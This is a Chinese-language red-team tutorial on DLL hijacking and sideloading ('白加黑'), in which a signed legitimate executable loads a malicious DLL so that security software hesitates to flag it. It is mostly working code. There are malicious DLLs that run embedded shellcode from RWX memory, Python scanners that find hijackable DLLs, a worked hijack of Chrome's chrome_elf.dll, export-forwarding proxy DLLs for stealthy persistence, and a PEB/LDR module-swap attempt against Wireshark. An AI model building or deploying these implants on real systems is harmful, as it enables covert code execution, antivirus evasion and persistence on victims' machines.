一、前言
本节内容涉及 白加黑
技术,白加黑并不是一个很新的技术,但是在红队攻防中应用非常广泛,且十分有效,究其原因是一个白程序(有数字签名的),能加载你的黑DLL,这样AV/EDR都得有所顾忌,不敢乱杀。
1.1 DLL简介
在Windows中,许多应用程序并不是一个完整的可执行文件,一个大型项目的许多功能被拆分成相对独立的动态链接库,即DLL文件(也是PE文件的一种)。当一个程序需要到一个DLL里面的函数或者数据时,就会将相应的DLL加载到自己的虚拟地址空间中。
一个DLL文件可以被多个应用程序直接使用,这样的DLL文件被称为共享DLL文件
1.2 DLL的加载顺序
当应用程序动态加载动态链接库而不指定完全限定的路径名称时,Windows 会尝试通过按特定顺序搜索一组定义完善的目录来查找 DLL。如果攻击者控制 DLL 搜索路径上的某个目录,则可以在该目录中放置 DLL 的恶意副本
DLL劫持技术利用的是Windows对DLL访问时查找DLL位置的一个漏洞,Windows对DLL的默认查找顺序(XP SP2及之后)如下:
官方文档: 1、
2、
当应用程序发出 LoadLibrary 调用时,系统会搜索 DLL,在当前目录中查找 DLL 的恶意副本,然后加载它。 然后,DLL 的恶意副本在应用程序中运行,并获取用户的权限。
说的有点啰嗦了,实际的劫持中我们排除某些KnownDlls,排除某些绝对路径加载的DLL,找到可以被劫持的DLL,然后将恶意的DLL放置到原始DLL的路径即可。
二、流程和代码实现
DLL的导出函数:在 C++ 中,导出函数(Export Functions)通常是为了创建动态链接库(DLL)或共享库,以便其他程序或模块可以调用这些函数
导出方式:
模板
extern "C" __declspec(dllexport) int <导出函数名称>(类型 参数1, 类型 参数2, ……)
例子
extern "C" __declspec(dllexport) int Add(int a, int b)
⚠注意:DLL劫持注入中,恶意DLL应该与原始DLL某一个函数具有相同的导出函数声明,这样应用程序才能正确调用我们的恶意DLL里的函数。
2.1 DLL劫持测试
构造一个原始DLL
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
TCHAR szFileName[MAX_PATH] = { 0 };
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
GetModuleFileName(NULL, szFileName, MAX_PATH);
printf("Original Dll' Current Path: %s\r\n", szFileName);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return(TRUE);
}
extern "C" __declspec(dllexport) int Add(int a, int b) {
return(a + b);
}
构造一个恶意DLL
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>
BOOL WINAPI DllMain(HINSTANCE hInst, DWORD fdwReason, LPVOID lpReserved) {
TCHAR szFileName[MAX_PATH] = { 0 };
switch (fdwReason) {
case DLL_PROCESS_ATTACH:
GetModuleFileName(NULL, szFileName, MAX_PATH);
printf("Dll Path: %s\r\n", szFileName);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return(TRUE);
}
typedef int (*PFNADD)(int, int);
extern "C" __declspec(dllexport) int Add(int a, int b) {
unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, buf, sizeof(buf));
// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
Sleep(1000);
return TRUE;
}
应用程序代码
#include <windows.h>
#include <stdio.h>
int main() {
HMODULE hMod = NULL;
hMod = LoadLibraryA("DLLHijack.dll");
if (!hMod) {
printf("加载失败!");
return(-1);
}
typedef int (*PFNADD)(int, int);
PFNADD pfnAdd = (PFNADD)GetProcAddress(hMod, "Add");
if (NULL == pfnAdd)
return(-1);
printf("1000 + 2000 = %d\r\n", pfnAdd(1000, 2000));
if (hMod) {
FreeLibrary(hMod);
hMod = NULL;
}
return 0;
}
2.2 劫持特定函数接口型(Dll漏洞挖掘及白加黑利用)
构造一个恶意DLL,并声明一个与原始DLL一样的导出函数声明
将恶意DLL放入到原始DLL目录中,并将恶意DLL的名称改为原始DLL的名称。
现在有一个问题,就是我们如何知道被劫持的DLL里面的导出函数呢?手动去找不太现实,可以利用工具批量查找可利用的DLL。
将其中的scan.py分成两部分,一个命名为:scan_MSDLL.py
,另一个命名为:scan_DLLHijack.py
,首先使用 scan_MSDLL.py
来搜寻微软的DLL,接着使用 scan_DLLHijack.py
来搜寻可以劫持的DLL。
判断了一下获取到的dll如果开头为API以及结尾为HELP或API直接丢弃掉,然后就是判断导出的dll如果大于1个那么也丢弃掉,因为白加黑只需要一个dll,如果导出来太多dll的话没啥用。
⚠注意:使用工具前,请将Tool目录添加到环境变量。
scan_MSDLL.py
import os
import sys
import re
def collect_microsoft_dlls(base_paths):
"""
收集微软系统 DLL
"""
microsoft_dlls = set()
def scan_directory(path):
try:
for filename in os.listdir(path):
filepath = os.path.join(path, filename)
if os.path.isdir(filepath):
scan_directory(filepath)
elif filename.lower().endswith('.dll'):
microsoft_dlls.add(filename.lower())
except PermissionError:
pass
except Exception as e:
print(f"扫描错误: {e}")
# 扫描常见系统目录
for base_path in base_paths:
if os.path.exists(base_path):
scan_directory(base_path)
return microsoft_dlls
def save_dlls_to_file(dlls, filename='MS_DLL.txt'):
"""
保存 DLL 列表到文件
"""
with open(filename, 'w', encoding='utf-8') as f:
for dll in sorted(dlls):
f.write(dll + '\n')
def main():
# 默认系统 DLL 目录
default_paths = [
r'C:\Windows\System32',
r'C:\Windows\SysWOW64',
r'C:\Windows\WinSxS'
]
# 如果提供了路径参数,则使用用户指定路径
if len(sys.argv) > 1:
default_paths = [sys.argv[1]]
# 收集 DLL
microsoft_dlls = collect_microsoft_dlls(default_paths)
# 打印和保存结果
print(f"总共找到 {len(microsoft_dlls)} 个微软 DLL")
save_dlls_to_file(microsoft_dlls)
# 控制台输出
for dll in sorted(microsoft_dlls):
print(dll)
if __name__ == '__main__':
main()
使用默认搜寻路径 python .\scan_MSDLL.py
scan_DLLHijack.py
import os
import re
import sys
def GetPayload(path, exeName):
whiteDLLs = {}
exeFullPath = path + '\\' + exeName
# 获取导入表
imports = os.popen('dumpbin /imports "' + exeFullPath + '"').read()
# 匹配DLL信息
dlls = re.findall('[\S]+\.[dllDLL]{3}[\s\S]+?\n\n[\s\S]+?\n\n', imports)
dllnames = []
for dll in dlls:
if '?' not in dll:
dllName = re.findall('[\S]+\.[dllDLL]{3}', dll)[0]
dllnames.append(dllName)
print(dllnames)
#print(dllnames)
# 排除微软DLL
if len(dllnames) <= 1:
for i in dllnames:
if i.startswith("api") or i.split('.')[0].endswith("32") or i == "IPHLPAPI.dll" or i.split('.')[0].endswith("API"):
continue
exist = False
for msDLL in msDLLs:
if msDLL.lower() == i.lower():
exist = True
break
if not exist:
dllFunctions = re.findall('\n\n[\s\S]+', dll)[0]
dllFunctions = re.findall('[0-9A-F][\s]([\S]+)\n', dllFunctions)
whiteDLLs[i] = dllFunctions
# 生成Payload
if whiteDLLs:
print(exeFullPath)
# 获取EXE信息
exeSize = os.path.getsize(exeFullPath)
if exeSize > 1048576:
exeSize = str(round(exeSize / 1048576, 2)) + 'MB'
elif exeSize > 1024:
exeSize = str(round(exeSize / 1024, 2)) + 'KB'
else:
exeSize = str(round(exeSize, 2)) + 'B'
sigcheck = os.popen('sigcheck64 "' + exeFullPath + '"').read()
exeMachineType = re.findall('MachineType:[\s]+([\S]+)', sigcheck)[0]
if exeMachineType == '64-bit':
bit = 'x64'
else:
bit = 'x86'
exePublisher = re.findall('Publisher:[\s]+([\S]+)', sigcheck)[0]
if exePublisher == 'n/a':
signature = ''
payload = [bit + ' ' + exeSize + ' 无数字签名 ' + exeName]
else:
signature = '数字签名'
payload = [bit + ' ' + exeSize + ' 有数字签名 ' + exeName]
# 生成导出函数
for dllName, dllFunctions in whiteDLLs.items():
payload += ['\n' + dllName]
for dllFunction in dllFunctions:
payload += [
'extern "C" __declspec(dllexport) int ' + dllFunction + '() {\n MessageBoxA(NULL, "' + dllFunction + '",0,0);return 0;\n}']
# 写入文件
name = bit + ' ' + exeSize + ' ' + signature + ' ' + exeName
try:
os.mkdir('Payload')
except:
pass
try:
os.mkdir('Payload\\' + name)
except:
pass
with open('Payload\\' + name + '\\' + name + '.txt', 'w') as f:
f.write('\n'.join(payload))
os.popen('copy "' + exeFullPath + '" "' + os.getcwd() + '\\Payload\\' + name + '"')
# 遍历目录
def Collect(path):
try:
for fileName in os.listdir(path):
if os.path.isfile(path + '\\' + fileName): # 文件
if fileName[-4:] == '.exe':
GetPayload(path, fileName) # DLL劫持挖掘
elif os.path.isdir(path + '\\' + fileName): # 文件夹
Collect(path + '\\' + fileName)
except:
pass
# 获取微软DLL
with open('MS_DLL.txt', 'r') as f:
msDLLs = f.read().splitlines()
# 收集EXE
if len(sys.argv) == 2:
Collect(sys.argv[1])
else:
print('Usage: python scan.py "D:\\\\"')
python .\scan_DLLHijack.py "C:\\"
随便打开一个输出结果的txt,看看里面的导出函数声明,然后将代码复制到VS编译成一个恶意DLL,将恶意DLL的名称修改为 chrome_elf.dll
来到原始DLL的路径 C:\Program Files\Google\Chrome\Application\131.0.6778.265
。路径不一定相同,可以使用IDA PRO、windbg、x32/64dbg等工具去看 Chrome
真正加载的dll。
原始DLL:chrome_elf_old.dll
恶意DLL:chrome_elf.dll
来到Chrome.exe真正的目录 C:\Program Files\Google\Chrome\Application
点击运行exe,成功劫持
测试完之后,记得把恶意DLL chrome_elf.dll
给删除,原始DLL chrome_elf_old.dll
的名称修改为 chrome_elf.dll
2.3 DLL函数转发(也称DLL旁路加载)
根据转发表,构造一个恶意DLL(用AheadLib工具)。
将恶意DLL放入到原始DLL目录中,并将恶意DLL的名称改为原始DLL的名称。
可以看到上面的GIF图,我点击运行了Chrome,虽然成功执行了我们的恶意代码,但是Chrome并没有正常的执行。这样并不利于我们在实战中使用,所以在编写一个恶意DLL时,我们通常除了让dll的导出表与原dll一致,同时对函数进行向原dll的转发,这样我们就能在用户毫无察觉的情况下运行自定义的代码。
DLL函数转发:
A DLL,其导出函数有 funA,可以供主程序 exe 调用;
B DLL,其导出函数有 funB1, funB2,但是开发者开发时,标记了 funB2 函数实际调用的是 A DLL 的 funA 函数,那么主程序在调用的时候:exe -> funB2 -> funA,即 funB2 只是起到一个中转的作用,前面讲到,我们在调用 DLL 的导出函数时,需要将对应的 DLL 载入内存,获取到其导出函数的内存地址,才能进行调用,所以 exe 在调用 B DLL的 funB1 和 funB2 函数时,不仅需要将 B DLL 载入内存,而且还需要将 A DLL 载入内存。
这个知识点对我们后续开发恶意DLL有很重要的作用,比如说我们可以在dllmain函数中编写恶意代码,而不影响程序的正常执行。
转发函数的形式:
#pragma comment(linker, "/EXPORT:Add=Origin.Add")
Add表示恶意DLL里的函数(并不需要真正构造出这个函数),Origin.Add表示原始DLL的Add函数。
我这里选择的是直接转发函数,当然你也可以用即使调用函数,它们的原理不相同但是达到的效果差不多。
挑选一个可被劫持的DLL,如果要转发的函数太多了,选择一个合适的路径输出cpp文件。
dllmain和EvilFuntion的代码如下,然后将转发函数表代码复制到dllmain函数的下方中。
#include <windows.h>
#include <tchar.h>
#include <StrSafe.h>
#include <cstdio>
void EvilFunction()
{
unsigned char buf[] = { 0x50, 0x51, 0x52, 0x53, 0x56, 0x57, 0x55, 0x6A, 0x60, 0x5A,
0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x83, 0xEC,
0x28, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48,
0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B,
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B,
0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24,
0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C,
0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F,
0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7,
0x99, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x30, 0x5D, 0x5F, 0x5E,
0x5B, 0x5A, 0x59, 0x58, 0xC3 };
// 申请一块大小为buf字节数组长度的可读可行的内存区域
LPVOID pMemory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 将buf数组中的内容复制到刚刚分配的内存区域
RtlMoveMemory(pMemory, buf, sizeof(buf));
// 创建一个线程执行内存中的代码
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
Sleep(1000);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
EvilFunction();
}
else if (dwReason == DLL_PROCESS_DETACH)
{
}
return TRUE;
}
生成我们的恶意dll并改名,原始DLL改成以Org为后缀。
测试
可以看到,应用程序加载了恶意DLL和原始DLL,这样应用程序就能正常启动,达到隐蔽持久化的目的。
2.4 通用DLL劫持型
这是吾爱破解社区里面的一位大佬分享的技术。通用DLL劫持
,这是一个 DLL 劫持的底层实现,主要通过直接操作 PEB(进程环境块)和 LDR(加载器)数据结构来替换已加载的 DLL。详细的原理介绍请看 参考文章-1
官方文档的数据结构中某些字段的含义并没有说明,详细字段含义请看参考文章-5
。
// UNICODE_STRING:Windows 字符串表示
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
// PEB_LDR_DATA:进程加载模块链表信息
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA;
// LDR_DATA_TABLE_ENTRY:单个模块的详细信息
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
_ACTIVATION_CONTEXT * EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;
void* NtCurrentPeb()
{
#ifdef _WIN64
//return (void*)__readgsqword(0x30);
return (void*)__readgsqword(0x60);
#else
__asm {
mov eax, fs: [0x30] ;
}
#endif
}
⚠注意:
获取当前进程 PEB:使用 __readgsqword(0x60) 或(void*)__readfsdword(0x30)
获取远程进程 PEB:使用上下文寄存器方法(进程镂空注入(Process Hollowing Injection)
有介绍)
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
#ifdef _WIN64
return (PEB_LDR_DATA*)(*(ULONGLONG*)((BYTE*)peb + 0x18));
#else
__asm {
mov eax, peb;
mov eax, [eax + 0xc];
}
#endif
}
void SuperDllHijack(LPCWSTR dllname, LPWSTR OrigDllPath) {
void* peb = NtCurrentPeb();
PEB_LDR_DATA* ldr = NtGetPebLdr(peb);
// 遍历已加载模块链表
for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
entry = entry->Blink) {
PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;
// 比较 DLL 名称
if (!_wcsicmp(data->BaseDllName.Buffer, dllname)) {
// 替换 DLL 基址
HMODULE hMod = LoadLibrary(OrigDllPath);
data->DllBase = hMod;
break;
}
}
}
没成功,不过有些思路可以学习一下。
完整代码
#include <windows.h>
#include <SDKDDKVer.h>
#include <shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
// UNICODE_STRING:Windows 字符串表示
typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING;
// PEB_LDR_DATA:进程加载模块链表信息
typedef struct _PEB_LDR_DATA {
ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA;
// LDR_DATA_TABLE_ENTRY:单个模块的详细信息
typedef struct _LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
WORD LoadCount;
WORD TlsIndex;
union
{
LIST_ENTRY HashLinks;
struct
{
PVOID SectionPointer;
ULONG CheckSum;
};
};
union
{
ULONG TimeDateStamp;
PVOID LoadedImports;
};
_ACTIVATION_CONTEXT* EntryPointActivationContext;
PVOID PatchInformation;
LIST_ENTRY ForwarderLinks;
LIST_ENTRY ServiceTagLinks;
LIST_ENTRY StaticLinks;
} LDR_DATA_TABLE_ENTRY, * PLDR_DATA_TABLE_ENTRY;
// 获取 PEB 数据结构的地址
void* NtCurrentPeb()
{
#ifdef _WIN64
//return (void*)__readgsqword(0x30);
return (void*)__readgsqword(0x60);
#else
__asm {
mov eax, fs: [0x30] ;
}
#endif
}
// 获取 PEB 中的 Ldr 数据结构的地址
PEB_LDR_DATA* NtGetPebLdr(void* peb)
{
#ifdef _WIN64
return (PEB_LDR_DATA*)(*(ULONGLONG*)((BYTE*)peb + 0x18));
#else
__asm {
mov eax, peb;
mov eax, [eax + 0xc];
}
#endif
}
void SuperDllHijack(LPCWSTR dllname, LPWSTR OrigDllPath) {
void* peb = NtCurrentPeb();
PEB_LDR_DATA* ldr = NtGetPebLdr(peb);
// 遍历已加载模块链表
for (LIST_ENTRY* entry = ldr->InLoadOrderModuleList.Blink;
entry != (LIST_ENTRY*)(&ldr->InLoadOrderModuleList);
entry = entry->Blink) {
PLDR_DATA_TABLE_ENTRY data = (PLDR_DATA_TABLE_ENTRY)entry;
// 比较 DLL 名称
if (!_wcsicmp(data->BaseDllName.Buffer, dllname)) {
// 替换 DLL 基址
HMODULE hMod = LoadLibrary(OrigDllPath);
data->DllBase = hMod;
break;
}
}
}
VOID DllHijack1(HMODULE hMod)
{
// 定义一个字符串缓冲区,用于存储 DLL 路径
TCHAR tszDllPath[MAX_PATH] = { 0 };
// 获取当前模块(DLL)的完整文件路径
GetModuleFileName(hMod, tszDllPath, MAX_PATH);
// 移除文件名,保留目录路径
PathRemoveFileSpec(tszDllPath);
// 在目录路径后追加要劫持的 DLL 名称
PathAppend(tszDllPath, TEXT("libwiresharkOrg.dll"));
// 调用 DLL 劫持函数
SuperDllHijack(L"libwireshark.dll", tszDllPath);
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
DllHijack1(hModule);
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}